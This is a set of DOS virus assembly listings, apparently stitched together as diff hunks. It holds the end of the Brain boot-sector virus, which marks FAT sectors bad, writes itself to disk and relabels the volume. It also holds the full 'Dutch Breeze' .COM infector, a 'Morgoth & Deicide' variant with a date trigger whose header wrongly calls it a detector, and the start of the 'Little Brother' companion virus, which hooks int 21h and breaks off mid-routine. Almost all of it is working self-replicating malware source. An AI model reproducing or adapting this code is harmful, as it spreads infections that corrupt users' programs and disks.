jne tryanother ; go there
jmp short markembad ; found 3 consecutive
nop ; empty sectors
notunused:
mov FATManipreadcounter,0 ; must start over
tryanother:
inc cx ; try next sector
cmp cx,163h ; end of disk?
jne checknextsector ; if not, continue
mov al,1 ; al=1 == none empty
stc ; Indicate error
retn
markembad:
mov dl,3 ; 3 times
markanotherbad:
call markbad12bit
dec cx
dec dl
jnz markanotherbad
inc cx
call calc1sttrack
call writeFAT ; update FAT
mov al,0 ; al=0 == ok
clc ; indicate success
retn
markbad12bit:
push cx
push dx
mov si,offset readbuffer ; si -> buffer
mov al,cl
shr al,1
jc low_12 ; low bits
call clus2offset12bit
mov ax,[bx+si] ; get FAT entry
and ax,0F000h ; mark it bad
or ax,0FF7h
jmp short putitback ; and put it back
nop
low_12:
call clus2offset12bit
mov ax,[bx+si] ; get FAT entry
and ax,0Fh ; mark it bad
or ax,0FF70h
putitback:
mov [bx+si],ax ; replace FAT entry
mov word ptr ds:[400h][bx+si],ax ; in two places
pop dx
pop cx
retn
FATentry12bit:
push cx
mov si,offset readbuffer ; si->buffer
mov al,cl
shr al,1
; Part 3 of the virus starts here
jc want_high_12
call clus2offset12bit
mov ax,[bx+si]
and ax,0FFFh
jmp short exitFATentry12bit
nop
want_high_12:
call clus2offset12bit ; xxxxxxxxxxxx0000
mov ax,[bx+si] ; ^^^^^^^^^^^^wanted
and ax,0FFF0h ; mask wanted bits
mov cl,4 ; and move to correct
shr ax,cl ; position
exitFATentry12bit:
pop cx
retn
clus2offset12bit:
push dx
mov ax,3
mul cx
shr ax,1 ; ax = cx*1.5
mov bx,ax
pop dx
retn
readFAT:
mov ah,2 ; read
call FAT_IO
retn
writeFAT:
mov ah,3 ; write
call FAT_IO
retn
FAT_IO:
mov cx,4 ; try four times
FAT_IOLoop:
push cx
push ax
mov ah,0 ; reset disk
int 6Dh ; int 13h
pop ax
jc tryFAT_IOagain
mov bx,offset readbuffer
mov al,4 ; 4 sectors
mov dh,0 ; head 0
mov dl,curdrive
mov cx,2 ; sector 2
push ax ; (FAT)
int 6Dh ; int 13h
pop ax
jnc exitFAT_IO
tryFAT_IOagain:
pop cx
loop FAT_IOLoop
pop ax
pop ax
mov al,2
stc ; mark error
retn
exitFAT_IO:
pop cx
retn
calc1sttrack:
push cx
sub cx,2
shl cx,1 ; 2 sectors/cluster
add cx,0Ch ; start of data area
mov ax,cx ; ax = sector
mov cl,12h ; 4096
div cl ; ax/4096 = al rem ah
mov byte ptr firstsector+1,al
mov firsthead,0
inc ah
cmp ah,9 ; past track 9?
jbe notpasttrack9 ; nope, we are ok
sub ah,9 ; otherwise, adjust
mov firsthead,1
notpasttrack9:
mov byte ptr firstsector,ah
pop cx
retn
db 0, 0, 0, 0, 0, 0
r_or_w_root db 3
entrycount dw 35h
tempsave1 dw 303h
tempsave2 dw 0EBEh
tempsave3 dw 1
tempsave4 dw 100h
db 0E0h,0D8h, 9Dh,0D7h,0E0h, 9Fh
db 8Dh, 98h, 9Fh, 8Eh,0E0h
db ' (c) ashar $'
changeroot:
call readroot ; read in root directory
jc donotchangeroot
push di
call changevolume ; change volume label
pop di
jc donotchangeroot
call writeroot ; write back new root dir
donotchangeroot:
retn
; The following is just garbage bytes
db 0BBh, 9Bh, 04h,0B9h, 0Bh
db 0,8Ah,7,0F6h,0D8h,88h,4,46h,43h
db 0E2h,0F6h,0B0h,8,88h,4,0F8h,0C3h
db 0C6h, 06h
changevolume:
mov entrycount,6Ch
mov si,offset readbuffer+40h; 3nd dir entry
mov tempsave1,dx
mov ax,entrycount ; 6Ch
shr ax,1
mov tempsave3,ax ; 36h
shr ax,1
mov tempsave2,ax ; 1Bh
xchg ax,cx
and cl,43h ; cx = 3
mov di,tempsave2
add di,1E3h ; di = 01FE
findlabel:
mov al,[si]
cmp al,0
je dolabel ; no mo entries
mov al,[si+0Bh] ; attribute byte
and al,8 ; volume label?
cmp al,8 ; yes?
je dolabel ; then change it!
add si,20h ; go to next directory entry
dec entrycount
jnz findlabel ; loop back
stc ; Error!
retn
db 8Bh
dolabel:
mov bx,[di] ; offset a_data
xor bx,tempsave3 ; bx = 53Ah
mov tempsave3,si ; si->direntry
cli
mov ax,ss
mov tempsave1,ax
mov tempsave2,sp
mov ax,cs
mov ss,ax
mov sp,tempsave3
add sp,0Ch ;->reserved area
mov cl,51h
add dx,444Ch
mov di,2555h
mov cx,0C03h
repe cmpsw
mov ax,0B46h
mov cx,3
rol ax,cl ; ax = 5A30h
mov tempsave3,ax
mov cx,5
mov dx,8
sub tempsave3,5210h ; 820h
push tempsave3 ; store attributes/reserved
; I haven't commented the remainder of this procedure.
; It basically changes the volume label to read "(c) Brain"
; Comment mode OFF
dowhatever:
mov ah,[bx] ; 5a3h
inc bx
mov dl,ah
shl dl,1
jc dowhatever
searchstuff:
mov dl,[bx] ; dl=C2h
inc bx ; bx=53Eh
mov al,dl
shl dl,1
jc searchstuff
add ax,1D1Dh
push ax
inc tempsave3
db 73h, 01h ; jnc $+3
db 0EAh,0E2h,0E1h, 8Bh, 26h; jmp 268B:E1E2
xchg bp,ax
add al,0A1h
xchg bx,ax
add al,8Eh
sar bl,1
add dh,[bp+si]
clc
ret
;db 95h, 04h,0A1h, 93h, 04h, 8Eh
;db 0D0h,0FBh, 02h, 32h,0F8h,0C3h
; Comment mode ON
readroot:
mov r_or_w_root,2 ; set action code
jmp short do_rw_root ; easier to do w/
nop ; mov ah, 2
writeroot:
mov r_or_w_root,3
jmp short do_rw_root ; this is somewhat useless
nop
do_rw_root:
mov dh,0 ; head 0
mov dl,curdrive
mov cx,6 ; sector 6
mov ah,r_or_w_root
mov al,4 ; 4 sectors
mov bx,offset readbuffer
call doint13h
jc exit_rw_root ; quit on error
mov cx,1
mov dh,1 ; head 1
mov ah,r_or_w_root
mov al,3
add bx,800h
call doint13h
exit_rw_root:
retn
doint13h:
mov tempsave1,ax
mov tempsave2,bx
mov tempsave3,cx
mov tempsave4,dx
mov cx,4
doint13hloop:
push cx
mov ah,0 ; Reset disk
int 6Dh
jc errordoingint13h
mov ax,tempsave1
mov bx,tempsave2
mov cx,tempsave3
mov dx,tempsave4
int 6Dh ; int 13h
jnc int13hsuccess
errordoingint13h:
pop cx
loop doint13hloop
stc ; indicate error
retn
int13hsuccess:
pop cx
retn
db 0, 0, 0
; Part 4 of the virus starts here
tempstorecx dw 3
readwritecurrentdata dw 301h
writevirus:
call FATManip
jc exitwritevirus
mov cursector,1
mov curhead,0
mov bx,offset readbuffer
call readcurrent
mov bx,offset readbuffer
mov ax,firstsector
mov cursector,ax
mov ah,firsthead
mov curhead,ah
call writecurrent
call calcnextsector
mov cx,5
mov bx,200h
writeanothersector:
mov tempstorecx,cx
call writecurrent
call calcnextsector
add bx,200h
mov cx,tempstorecx
loop writeanothersector
mov curhead,0
mov cursector,1
mov bx,0
call writecurrent
clc ; indicate success
exitwritevirus:
retn
readcurrent:
mov readwritecurrentdata,201h
jmp short doreadwrite
nop
writecurrent:
mov readwritecurrentdata,301h
jmp short doreadwrite ; This is pointless.
nop
doreadwrite:
push bx
mov cx,4
tryreadwriteagain:
push cx
mov dh,curhead
mov dl,curdrive
mov cx,cursector
mov ax,readwritecurrentdata ; read or write?
int 6Dh ; int 13h
jnc readwritesuccessful
mov ah,0 ; reset disk
int 6Dh ; int 13h
pop cx
loop tryreadwriteagain
pop bx
pop bx
stc ; Indicate error
retn
readwritesuccessful:
pop cx
pop bx
retn
calcnextsector:
inc byte ptr cursector ; next sector
cmp byte ptr cursector,0Ah
jne donecalculate ; finished calculations
mov byte ptr cursector,1 ; clear sector #
inc curhead ; and go to next head
cmp curhead,2 ; if not too large,
jne donecalculate ; we are done
mov curhead,0 ; otherwise clear head #
inc byte ptr cursector+1 ; and advance cylinder
donecalculate:
retn
db 64h, 74h, 61h
; read buffer starts here
; insert your favorite boot block below...
readbuffer:
brain ends
end
@@ -0,0 +1,197 @@
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Dutche Breeze by Glenn Benton ³
;ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
;³ This will be a Parasytic Non-Resident .COM infector. ³
;³ It will also infect COMMAND.COM. ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
.MODEL TINY
Public VirLen,MovLen
Code Segment para 'Code'
Assume Cs:Code,Ds:Code,Es:Code
Org 100h
Signature Equ 0CaDah ; Signature of virus is ABCD!
Buff1 Equ 0F100h
Buff2 Equ Buff1+2
VirLen Equ Offset Einde-Offset Begin
MovLen Equ Offset Einde-Offset Mover
DTA Equ 0F000h
Proggie Equ DTA+1Eh
Lenny Equ DTA+1Ah
MinLen Equ Virlen ;Minimale lengte te besmetten programma
MaxLen Equ 0EF00h ; Maximale lengte te besmetten programma
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; This part will contain the actual virus code, for searching the
; next victim and infection of it.
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Begin:
Jmp Short OverSig ; Sprong naar Oversig vanwege kenmerk
DW Signature ; Herkenningsteken virus
Oversig:
Pushf ;------------------
Push AX ; Alle registers opslaan voor
Push BX ; later gebruik van het programma
Push CX ;
Push DX ;
Push DS ;
Push ES ;
Push SS ;
Push SI ;
Push DI ;------------------
InfectPart:
Mov AX,Sprong ;------------------
Mov Buf1,AX ; Spronggegevens bewaren om
Mov BX,Source ; besmette programma te starten
Mov Buf2,BX ;------------------
Mov AH,1Ah ; DTA area instellen op
Mov DX,DTA ; $DTA area
Int 21h ;------------------
Vindeerst: Mov AH,4Eh ; Zoeken naar 1e .COM file in directory
Mov Cx,1 ;
Lea DX,FindPath ;
Int 21h ;------------------
Jnc KijkInfected ; Geen gevonden, goto Afgelopen
Jmp Afgelopen ;------------------
KijkInfected:
Mov DX,Cs:[Lenny] ;------------------
Cmp DX,MinLen ; Kijken of programmalengte voldoet
Jb ZoekNext ; aan de eisen van het virus
Cmp DX,MaxLen ;
Ja ZoekNext ;------------------
On2: Mov AH,3Dh ; Zo ja , file openen en file handle
Mov AL,2 ; opslaan
Mov DX,Proggie ;
Int 21h ;
Mov FH,AX ;------------------
Mov BX,AX ;
Mov AH,3Fh ; Lezen 1e 4 bytes van een file met
Mov CX,4 ; een mogelijk kenmerk van het virus
Mov DX,Buff1 ;
Int 21h ;------------------
Sluiten: Mov AH,3Eh ; File weer sluiten
Int 21h ;------------------
Mov AX,CS:[Buff2] ; Vergelijken inhoud lokatie Buff1+2
Cmp AX,Signature ; met Signature. Niet gelijk : Zoeken op
Jnz Infect ; morgoth virus. Als bestand al besmet
ZoekNext:
Mov AH,4Fh ;------------------
Int 21h ; Zoeken naar volgende .COM file
Jnc KijkInfected ; Geen gevonden, goto Afgelopen
Jmp Afgelopen ;------------------
Db 'Dutch [Breeze] by Glenn Benton'
Infect:
Mov DX,Proggie ; beveiliging weghalen
Mov AH,43h ;
Mov AL,1 ;
Xor CX,Cx
Int 21h ;------------------
Mov AH,3Dh ; Bestand openen
Mov AL,2 ;
Mov DX,Proggie ;
Int 21h ;------------------
Mov FH,AX ; Opslaan op stack van
Mov BX,AX ; datum voor later gebruik
Mov AH,57H ;
Mov AL,0 ;
Int 21h ;
Push CX ;
Push DX ;------------------
Mov AH,3Fh ; Inlezen van eerste deel van het
Mov CX,VirLen+2 ; programma om later terug te
Mov DX,Buff1 ; kunnen plaatsen.
Int 21h ;------------------
Mov AH,42H ; File Pointer weer naar het
Mov AL,2 ; einde van het programma
Xor CX,CX ; zetten
Xor DX,DX ;
Int 21h ;------------------
Xor DX,DX ; Bepalen van de variabele sprongen
Add AX,100h ; in het virus (move-routine)
Mov Sprong,AX ;
Add AX,MovLen ;
Mov Source,AX ;------------------
Mov AH,40H ; Move routine bewaren aan
Mov DX,Offset Mover ; einde van file
Mov CX,MovLen ;
Int 21h ;------------------
Mov AH,40H ; Eerste deel programma aan-
Mov DX,Buff1 ; voegen na Move routine
Mov CX,VirLen ;
Int 21h ;------------------
Mov AH,42h ; File Pointer weer naar
Mov AL,0 ; het begin van file
Xor CX,CX ; sturen
Xor DX,DX ;
Int 21h ;------------------
Mov AH,40h ; En programma overschrijven
Mov DX,Offset Begin ; met code van het virus
Mov CX,VirLen ;
Int 21h ;------------------
Mov AH,57h ; Datum van aangesproken file
Mov AL,1 ; weer herstellen
Pop DX ;
Pop CX ;
Int 21h ;------------------
Mov AH,3Eh ; Sluiten file
Int 21h ;------------------
Afgelopen: Mov BX,Buf2 ; Sprongvariabelen weer
Mov Source,BX ; op normaal zetten voor
Mov AX,Buf1 ; de Move routine
Mov Sprong,AX ;------------------
Mov AH,1Ah ; DTA adres weer op normaal
Mov Dx,80h ; zetten en naar de Move
Int 21h ; routine springen
Jmp CS:[Sprong] ;------------------
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; All variables are stored in here, like filehandle, date/time,
; search path and various buffers.
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
FH DW 0
FindPath DB '*.COM',0
Buf1 DW 0
Buf2 DW 0
Sprong DW 0
Source DW 0
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; This will contain the relocator routine, located at the end of
; the ORIGINAL file. This will tranfer the 1st part of the program
; to it's original place.
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Mover:
Mov DI,Offset Begin ;------------------
Mov SI,Source ; Verplaatsen van het 1e deel
Mov CX,VirLen-1 ; van het programma, wat achter
Rep Movsb ;------------------
Pop DI ; Opgeslagen registers weer
Pop SI ; terugzetten op originele
Pop SS ; waarde en springen naar
Pop ES ; het begin van het programma
Pop DS ; (waar nu het virus niet meer
Pop DX ; staat)
Pop CX ;
Pop BX ;
Pop AX ;
Popf ;
Mov BX,100h ;
Jmp BX ;------------------
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Only the end of the virus is stored in here.
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Einde db 0
Code Ends
End Begin
@@ -0,0 +1,256 @@
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Morgoth & Deicide virus detector ³
;ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
;³ This will be a Parasytic Non-Resident .COM infector. ³
;³ It will also infect COMMAND.COM. ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
.MODEL TINY
Public VirLen,MovLen,PutMsg
Code Segment para 'Code'
Assume Cs:Code,Ds:Code,Es:Code
Org 100h
Signature Equ 0CDABh ; Signature of virus is ABCD!
MorgSig Equ 0AdDeh ; Signature of morgoth is DEAD!
DeiSig Equ 0d90h ; Signature of deicide is 900D!
BegMonthAct Equ 11 ; Begin Month of activation
EndMonthAct Equ 12 ; End Month of activation
BegDayAct Equ 11 ; Begin Day of activation
EndDayAct Equ 25 ; End Day of activation
ActString Equ CR,LF,'Brotherhood... I am seeking my brothers "DEICIDE" and "MORGOTH"...',CR,LF,EOM
MorgString Equ CR,LF,'Found my brother "MORGOTH"!!!',CR,LF,EOM
DeicideString Equ CR,LF,'Found my brother "DEICIDE"!!!',CR,LF,EOM
CR Equ 13 ; Return
LF Equ 10 ; Linefeed
EOM Equ '$' ; Einde Tekst
Buff1 Equ 0F000h
Buff2 Equ Buff1+2
VirLen Equ Offset Einde-Offset Begin
MovLen Equ Offset Einde-Offset Mover
Proggie Equ Offset DTA+1Eh
MinLen Equ Virlen ;Minimale lengte te besmetten programma
MaxLen Equ 0EF00h ; Maximale lengte te besmetten programma
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; This will contain only macros, for pieces of code which will be
; used very often.
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; This part will contain the actual virus code, for searching the
; next victim and infection of it.
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Begin:
Jmp Short OverSig ; Sprong naar Oversig vanwege kenmerk
DW Signature ; Herkenningsteken virus
Oversig:
Pushf ;------------------
Push AX ; Alle registers opslaan voor
Push BX ; later gebruik van het programma
Push CX ;
Push DX ;
Push DS ;
Push ES ;
Push SS ;
Push SI ;
Push DI ;------------------
Mov AH,2Ah ;------------------
Int 21h ; Systeemdatum vergelijken met
Cmp DH,BegMonthAct ; activatiedatum. Als dit gelijk is
Jb InfectPart ; moet word PutMsg aangeroepen, anders
Cmp DH,EndMonthAct ; wordt InfectPart aangeroepen.
Jg InfectPart ;
Cmp DL,BegDayAct ;
Jb InfectPart ;
Cmp DL,EndDayAct ;
Jg InfectPart ;------------------
PutMsg: Mov AH,09h ; Activatiebericht wordt getoont en
Mov DX,Offset Msg ; de eerste 80 sectoren van de C
Int 21h ; drive worden volgeschreven met
Int 20h ;
InfectPart:
Mov AX,Sprong ;------------------
Mov Buf1,AX ; Spronggegevens bewaren om
Mov BX,Source ; besmette programma te starten
Mov Buf2,BX ;------------------
Mov AH,1Ah ; DTA area instellen op
Lea DX,DTA ; $DTA area
Int 21h ;------------------
Vindeerst: Mov AH,4Eh ; Zoeken naar 1e .COM file in directory
Mov Cx,1 ;
Lea DX,FindPath ;
Int 21h ;------------------
Jnc KijkInfected ; Geen gevonden, goto Afgelopen
Jmp Afgelopen ;------------------
KijkInfected:
Mov DX,DTA+1Ah ;------------------
Cmp DX,MinLen ; Kijken of programmalengte voldoet
Jb ZoekNext ; aan de eisen van het virus
Mov DX,MaxLen ; (langer dan virus)
Cmp DX,DTA+1Ah ;
Jb ZoekNext ;------------------
On2: Mov AH,3Dh ; Zo ja , file openen en file handle
Mov AL,2 ; opslaan
Mov DX,Proggie ;
Int 21h ;
Mov FH,AX ;------------------
Mov BX,AX ;
Mov AH,3Fh ; Lezen 1e 4 bytes van een file met
Mov CX,4 ; een mogelijk kenmerk van het virus
Mov DX,Buff1 ;
Int 21h ;------------------
Sluiten: Mov AH,3Eh ; File weer sluiten
Int 21h ;------------------
Mov AX,CS:[Buff2] ; Vergelijken inhoud lokatie Buff1+2
Cmp AX,Signature ; met Signature. Niet gelijk : Zoeken op
Jz Zoeknext ; morgoth virus. Als bestand al besmet
Cmp Ax,MorgSig ; is met morgoth, geef bericht en stop
Jz MorgHere ; executie!
Cmp Ax,DeiSig
jz DeiHere
Jmp Infect ;------------------
MorgHere: Mov Ah,9
Mov Dx,Offset Morg
Int 21h
Int 20h
DeiHere: Mov Ah,9
Mov Dx,Offset Dei
Int 21h
Int 20h
ZoekNext:
Mov AH,4Fh ;------------------
Int 21h ; Zoeken naar volgende .COM file
Jnc KijkInfected ; Geen gevonden, goto Afgelopen
Jmp Afgelopen ;------------------
Infect:
Mov AH,43h ;------------------
Mov AL,0 ; Eventuele schrijf-
Mov DX,Proggie ; beveiliging weghalen
Int 21h ; van het programma
Mov AH,43h ;
Mov AL,1 ;
And CX,11111110b ;
Int 21h ;------------------
Mov AH,3Dh ; Bestand openen
Mov AL,2 ;
Mov DX,Proggie ;
Int 21h ;------------------
Mov FH,AX ; Opslaan op stack van
Mov BX,AX ; datum voor later gebruik
Mov AH,57H ;
Mov AL,0 ;
Int 21h ;
Push CX ;
Push DX ;------------------
Mov AH,3Fh ; Inlezen van eerste deel van het
Mov CX,VirLen+2 ; programma om later terug te
Mov DX,Buff1 ; kunnen plaatsen.
Int 21h ;------------------
Mov AH,42H ; File Pointer weer naar het
Mov AL,2 ; einde van het programma
Xor CX,CX ; zetten
Xor DX,DX ;
Int 21h ;------------------
Xor DX,DX ; Bepalen van de variabele sprongen
Add AX,100h ; in het virus (move-routine)
Mov Sprong,AX ;
Add AX,MovLen ;
Mov Source,AX ;------------------
Mov AH,40H ; Move routine bewaren aan
Mov DX,Offset Mover ; einde van file
Mov CX,MovLen ;
Int 21h ;------------------
Mov AH,40H ; Eerste deel programma aan-
Mov DX,Buff1 ; voegen na Move routine
Mov CX,VirLen ;
Int 21h ;------------------
Mov AH,42h ; File Pointer weer naar
Mov AL,0 ; het begin van file
Xor CX,CX ; sturen
Xor DX,DX ;
Int 21h ;------------------
Mov AH,40h ; En programma overschrijven
Mov DX,Offset Begin ; met code van het virus
Mov CX,VirLen ;
Int 21h ;------------------
Mov AH,57h ; Datum van aangesproken file
Mov AL,1 ; weer herstellen
Pop DX ;
Pop CX ;
Int 21h ;------------------
Mov AH,3Eh ; Sluiten file
Int 21h ;------------------
Afgelopen: Mov BX,Buf2 ; Sprongvariabelen weer
Mov Source,BX ; op normaal zetten voor
Mov AX,Buf1 ; de Move routine
Mov Sprong,AX ;------------------
Mov AH,1Ah ; DTA adres weer op normaal
Mov Dx,80h ; zetten en naar de Move
Int 21h ; routine springen
Jmp CS:[Sprong] ;------------------
Msg db ActString
Morg db MorgString
Dei db DeicideString
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; All variables are stored in here, like filehandle, date/time,
; search path and various buffers.
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
FH DW 0
FindPath DB '*.COM',0
Buf1 DW 0
Buf2 DW 0
Sprong DW 0
Source DW 0
Db '*** Glenn Benton ***'
DTA DW 64 DUP(?)
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; This will contain the relocator routine, located at the end of
; the ORIGINAL file. This will tranfer the 1st part of the program
; to it's original place.
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Mover:
Mov DI,Offset Begin ;------------------
Mov SI,Source ; Verplaatsen van het 1e deel
Mov CX,VirLen-1 ; van het programma, wat achter
Movsb ; deze verplaatsroutine staat.
Rep Movsb ;------------------
Pop DI ; Opgeslagen registers weer
Pop SI ; terugzetten op originele
Pop SS ; waarde en springen naar
Pop ES ; het begin van het programma
Pop DS ; (waar nu het virus niet meer
Pop DX ; staat)
Pop CX ;
Pop BX ;
Pop AX ;
Popf ;
Mov BX,100h ;
Jmp BX ;------------------
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Only the end of the virus is stored in here.
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Einde db 0
Code Ends
End Begin
@@ -0,0 +1,265 @@
;****************************************************************************
;* Little Brother version 2
;*
;* Compile with MASM 4.0
;* (other assemblers will probably not produce the same result)
;*
;* Disclaimer:
;* This file is only for educational purposes. The author takes no
;* responsibility for anything anyone does with this file. Do not
;* modify this file!
;****************************************************************************
cseg segment
assume cs:cseg,ds:cseg,es:nothing
.RADIX 16
FILELEN equ end - begin
RESPAR equ (FILELEN/16d) + 17d
VERSION equ 2
oi21 equ end
nameptr equ end+4
DTA equ end+8
;****************************************************************************
;* Install the program!
;****************************************************************************
org 100h
begin: cld
mov ax,0044h ;move program to empty hole
mov es,ax
mov di,0100h
mov si,di
mov cx,FILELEN
rep movsb
mov ds,cx ;get original int21 vector
mov si,0084h
mov di,offset oi21
mov dx,offset ni21
lodsw
cmp ax,dx ;already installed?
je cancel
stosw
movsw
push es ;set vector to new handler
pop ds
mov ax,2521h
int 21h
cancel: ret
;****************************************************************************
;* File-extensions
;****************************************************************************
EXE_txt db 'EXE',0
COM_txt db 'COM',0
;****************************************************************************
;* Interupt handler 24
;****************************************************************************
ni24: mov al,03
iret
;****************************************************************************
;* Interupt handler 21
;****************************************************************************
ni21: pushf
push dx
push bx
push ax
push ds
push es
cmp ax,4B00h ;execute ?
jne exit
doit: call infect
exit: pop es
pop ds
pop ax
pop bx
pop dx
popf
jmp dword ptr cs:[oi21] ;call to old int-handler
;****************************************************************************
;* Tries to infect the file (ptr to ASCIIZ-name is DS:DX)
;****************************************************************************
infect: cld
mov word ptr cs:[nameptr],dx ;save the ptr to the filename
mov word ptr cs:[nameptr+2],ds
mov ah,2Fh ;get old DTA
int 21
push es
push bx
push cs ;set new DTA
pop ds
mov dx,offset DTA
mov ah,1Ah
int 21
call searchpoint
push di
mov si,offset COM_txt ;is extension 'COM'?
mov cx,3
rep cmpsb
pop di
jz do_com
mov si,offset EXE_txt ;is extension 'EXE'?
mov cl,3
rep cmpsb
jnz return
do_exe: mov si,offset COM_txt ;change extension to COM
call change_ext
mov ax,3300h ;get ctrl-break flag
int 21
push dx
cwd ;clear the flag
inc ax
push ax
int 21
mov ax,3524h ;get int24 vector
int 21
push bx
push es
push cs ;set int24 vec to new handler
pop ds
mov dx,offset ni24
mov ah,25h
push ax
int 21
lds dx,dword ptr [nameptr] ;create the virus (unique name)
xor cx,cx
mov ah,5Bh
int 21
jc return1
xchg bx,ax ;save handle
push cs
pop ds
